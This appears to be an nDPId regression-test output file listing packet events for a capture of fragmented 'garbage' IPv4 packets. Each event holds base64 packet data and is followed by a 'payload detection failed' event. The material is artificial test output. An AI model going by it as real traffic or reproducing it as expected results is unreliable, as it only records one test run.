+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298948,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298975,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":298988,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299003,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299055,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299067,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299118,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299157,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299170,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":299369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 